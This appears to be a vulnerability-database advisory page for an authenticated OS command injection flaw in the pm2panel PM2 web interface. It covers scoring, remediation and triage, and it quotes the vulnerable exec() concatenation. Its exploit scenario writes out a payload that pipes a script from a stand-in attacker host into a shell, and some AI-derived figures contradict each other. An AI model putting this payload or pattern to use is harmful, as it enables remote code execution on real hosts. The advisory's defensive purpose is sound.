Skip to main content

pm2panel EUVDEUVD-2026-55233

| CVE-2026-72573 HIGH
OS Command Injection (CWE-78)
2026-08-10 TuranSec GHSA-m6fq-fq43-f9v8
8.8
CVSS 3.1 · Vendor: TuranSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain pm2panel credentials
  2. Delivery
    Send crafted HTTP request with injected id parameter
  3. Exploit
    Shell metacharacter breaks out of pm2 restart command
  4. Execution
    Arbitrary OS command executes as Node.js process user
  5. Impact
    Full host compromise (read/write/execute)

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold valid authentication credentials to the pm2panel web interface (CVSS PR:L confirms low-privilege authentication is required - unauthenticated exploitation is not possible). Once authenticated, no additional configuration, feature flag, or non-default setting is required; the vulnerable code path at pm2panel.js line 188 is exercised by any invocation of the 'restart' handler with a user-supplied 'id' query parameter, which is a standard operational function of the panel. Exploitation is limited by the requirement for valid credentials: if pm2panel accounts are restricted to trusted administrators only, the realistic attack surface is significantly reduced. The application must be network-reachable (AV:N), but no specific operating system, deployment mode, or third-party integration is required beyond a functional pm2panel instance.

Impact

The CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the severity: network-accessible, low-complexity exploitation requiring only low-privileged (authenticated) access, with complete confidentiality, integrity, and availability impact on the host. The PR:L metric is the primary limiting factor - an attacker must possess valid credentials to the pm2panel application. There is no EPSS score in the provided data to quantify exploitation probability, no CISA KEV listing, and no confirmed public proof-of-concept code, which tempers real-world urgency slightly. However, the simplicity of the injection - a straightforward query-parameter-to-exec concatenation - means the exploit barrier for any authenticated user is extremely low, and reproduction requires no specialized tooling. SSVC evaluation would likely yield Exploit=None, Automatable=Yes (once authenticated), Technical Impact=Total, suggesting organizations with untrusted or externally-facing pm2panel instances should treat this as a priority fix despite the absence of confirmed in-the-wild exploitation.

Exploit ScenarioDerived

An authenticated low-privileged user - for example, a developer with panel access - sends a crafted HTTP GET request to the pm2panel endpoint with a malicious 'id' parameter such as '1;curl http://attacker.com/shell.sh|bash', causing the server to execute the injected command with the privileges of the Node.js process. No specialized tooling or elevated access beyond valid credentials is required, making this trivially executable with a standard HTTP client or browser.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

OS command injection in 4xmen/pm2panel (all versions) allows an authenticated remote attacker to execute arbitrary system commands on the underlying host with the privileges of the web server process. The root cause is unsanitized user input concatenated directly into a Node.js exec() call in pm2panel.js at line 188, where the query parameter 'id' is appended to 'pm2 restart' without any shell escaping or allowlisting. No public exploit code has been identified at time of analysis, and this CVE is not listed in the CISA KEV catalog, but the attack is trivially reproducible given the straightforward nature of the injection point.

RemediationAI

No vendor-released patch has been identified at time of analysis - the fix version is not confirmed by any upstream release or advisory. Organizations running pm2panel should immediately restrict access to the interface to trusted internal networks or VPN-only segments, reducing the exploitable attack surface. As a direct code-level compensating control, the exec() call in pm2panel.js line 188 should be replaced with a child_process.execFile() or spawn() call using an allowlist of valid numeric or string process IDs, preventing shell interpretation entirely. Alternatively, input validation rejecting any characters outside [a-zA-Z0-9_-] on the 'id' parameter would block the known injection vectors, though this is less robust than eliminating shell interpretation. If pm2panel cannot be immediately patched, consider replacing it with a maintained alternative PM2 management UI. Monitor https://github.com/4xmen/pm2panel for upstream commits that address line 188.

Affected VersionsENISA

pm2panel 0

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

pm2panel is a web-based management interface for PM2, the popular Node.js process manager, maintained by the GitHub project 4xmen/pm2panel. The vulnerability resides in the HTTP request handler in pm2panel.js at line 188, where the application constructs a shell command by string-concatenating an unvalidated user-supplied query parameter: exec('pm2 restart ' + req.query.id). This pattern is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) flaw. Because Node.js's child_process.exec() passes the command string to the system shell (e.g., /bin/sh), an attacker can inject shell metacharacters such as semicolons, pipes, backticks, or $() subshells to chain additional commands. The affected CPE is cpe:2.3:a:4xmen:pm2panel:*:*:*:*:*:*:*:*, confirming all published versions are affected with no version bound from the upstream project.

Know when Pm2Panel gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TuranSec) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable endpoint requires low-privilege authentication; trivial shell injection yields complete host-level command execution with no scope change.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (TuranSec).

CVSS VectorVendor: TuranSec

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

An OS command injection vulnerability in 4xmen/pm2panel (all versions) allows an authenticated remote attacker to execute arbitrary system commands on the host. The pm2panel.js handler at line 188 passes the unsanitized req.query.id parameter directly to exec('pm2 restart ' + id) without input validation or shell escaping, enabling command chaining via semicolons or other shell metacharacters.

Executive ViewAI

Why It Matters

A command injection vulnerability in 4xmen/pm2panel (all versions) enables authenticated attackers to execute arbitrary system commands on the host with web server privileges, creating direct risk of data exfiltration, service disruption, and lateral movement into production infrastructure. Organizations relying on pm2panel for process management require immediate containment given the absence of available patches.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict pm2panel access to internal networks via firewall policies; (2) Deploy Web Application Firewall rules to block shell metacharacters and command separators in query parameters; (3) Implement application-level input validation sanitizing all parameters before exec() calls; (4) Enable detailed logging and alerting on system process execution tied to pm2panel; (5) Implement network segmentation to isolate pm2panel from critical production systems; (6) Limit pm2panel to read-only operations where possible via OS-level permissions; (7) Consider temporary service suspension if operationally feasible.

Threat Intelligence Overview

EPSS Score
0.9%
Top 43% exploitable
Prevalence
Low
small open-source PM2 web UI, limited enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy